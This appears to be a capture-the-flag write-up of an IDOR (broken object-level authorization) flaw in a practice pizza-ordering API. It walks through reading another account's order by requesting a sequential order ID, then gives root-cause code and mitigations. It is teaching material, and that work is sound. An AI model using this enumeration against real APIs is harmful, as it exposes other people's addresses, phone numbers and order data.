Post

IDOR via Sequential Order IDs | Cheesy Does It

IDOR via Sequential Order IDs | Cheesy Does It

Cheesy Does It

Cheesy Does It is a pizza ordering application exposing an API for cart management and order tracking. During testing, the order retrieval endpoint was found to use predictable sequential identifiers without enforcing proper authorization checks.

By manipulating the order ID in API requests, it became possible to access orders belonging to other users, resulting in an Insecure Direct Object Reference (IDOR) vulnerability.


Overview

The application allowed authenticated users to:

  • Create orders
  • View order details
  • Track purchases through the API

Order information was retrieved using:

1
GET /api/orders/{id}

Testing revealed that order IDs were sequential and globally accessible.

The application failed to verify whether the authenticated user actually owned the requested order.


Objective

  • Analyze order functionality
  • Identify predictable object references
  • Test authorization enforcement
  • Access another user’s order
  • Retrieve sensitive order data and the flag

Initial Account Testing

Two separate user accounts were created to test authorization boundaries.


Creating Orders

Using the first account, pizzas were added to the cart and an order was placed.

Request

1
POST /api/orders

The created order could then be retrieved using:

1
GET /api/orders/1

A second order was created:

1
POST /api/orders

and became accessible at:

1
GET /api/orders/2

At this point, the order IDs appeared sequential.


Hypothesis

Because order identifiers incremented numerically:

1
2
3
4
5
1
2
3
4
...

the application likely relied solely on the provided ID without verifying ownership.

This strongly suggested a potential IDOR vulnerability.


Cross-Account Testing

A second account was created.

Using this account:

  • A pizza was added to the cart
  • A new order was submitted

Request

1
POST /api/orders

The newly created order became order ID 3.


Exploitation

While authenticated as the first user, the following request was sent:

1
GET /api/orders/3

Despite belonging to another account, the server returned the full order details.


Proof of Vulnerability

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
  "id":3,
  "user_id":5,
  "order_number":"CDI-1778511784605-Q2PTDB468",
  "total_price":12.99,
  "status":"received",
  "delivery_address":"hstn",
  "phone":"5756",
  "payment_method":"card",
  "notes":"",
  "created_at":"2026-05-11 15:03:04",
  "updated_at":"2026-05-11 15:03:04",
  "items":[
    {
      "id":3,
      "order_id":3,
      "pizza_name":"Pepperoni Classic",
      "base_name":"Hand Tossed",
      "sauce_name":"Classic Tomato",
      "size":"Medium",
      "quantity":1,
      "unit_price":12.99,
      "total_price":12.99,
      "toppings":"Extra Mozzarella, Pepperoni"
    }
  ],
  "flag":"bug{....}"
}

This confirmed that:

  • Orders were globally enumerable
  • Authorization checks were missing
  • Any authenticated user could access other users’ orders
  • Sensitive customer data was exposed

Vulnerability Type

This issue is classified as:

Insecure Direct Object Reference (IDOR)

More specifically:

Broken Object Level Authorization (BOLA)

The application trusted user-supplied object identifiers without verifying ownership.


Root Cause Analysis

The backend likely queried orders directly using the supplied ID:

1
Order.query.get(order_id)

instead of enforcing ownership:

1
2
3
4
Order.query.filter_by(
    id=order_id,
    user_id=current_user.id
).first()

Because authorization validation was missing, any authenticated user could enumerate and access arbitrary orders.


Impact

This vulnerability could allow attackers to:

  • View other users’ orders
  • Access personal information
  • Leak addresses and phone numbers
  • Enumerate customer activity
  • Access payment-related metadata
  • Harvest sensitive business data

In real-world applications, similar flaws may expose:

  • Full customer profiles
  • Order histories
  • Billing details
  • Internal invoices
  • API secrets or tokens accidentally embedded in responses

Exploitation Flow

Step 1 — Create an Order

1
POST /api/orders

Step 2 — Observe Sequential IDs

1
2
/api/orders/1
/api/orders/2

Step 3 — Create Another Account

Generate a new order from a separate account.


Step 4 — Access Foreign Order

1
GET /api/orders/3

Step 5 — Retrieve Sensitive Data

The API returns another user’s order contents and the flag.


Mitigation

Enforce Ownership Validation

Every object access must verify ownership server-side.

Vulnerable

1
order = Order.query.get(order_id)

Secure

1
2
3
4
order = Order.query.filter_by(
    id=order_id,
    user_id=current_user.id
).first()

Use Indirect References

Avoid exposing predictable sequential IDs.

Prefer:

  • UUIDs
  • Randomized identifiers
  • Opaque references

Implement Authorization Middleware

Centralize access-control enforcement for all sensitive endpoints.


Log Authorization Failures

Track suspicious enumeration attempts such as:

1
2
3
4
/orders/1
/orders/2
/orders/3
/orders/4

Real-World Insight

IDOR vulnerabilities remain one of the most common API security issues.

Modern applications often implement authentication correctly but fail authorization checks after login.

Developers frequently assume:

“If the user is authenticated, they can access the object.”

instead of verifying:

“Does this specific user own this specific object?”

This distinction is critical.

APIs exposing sequential numeric IDs are especially vulnerable because attackers can easily automate enumeration.


Key Takeaways

  • Authentication does not equal authorization
  • Sequential IDs often indicate potential IDOR issues
  • APIs must validate ownership on every request
  • Sensitive business logic should never trust client-supplied object references
  • Broken Object Level Authorization is a major API security risk
This post is licensed under CC BY 4.0 by the author.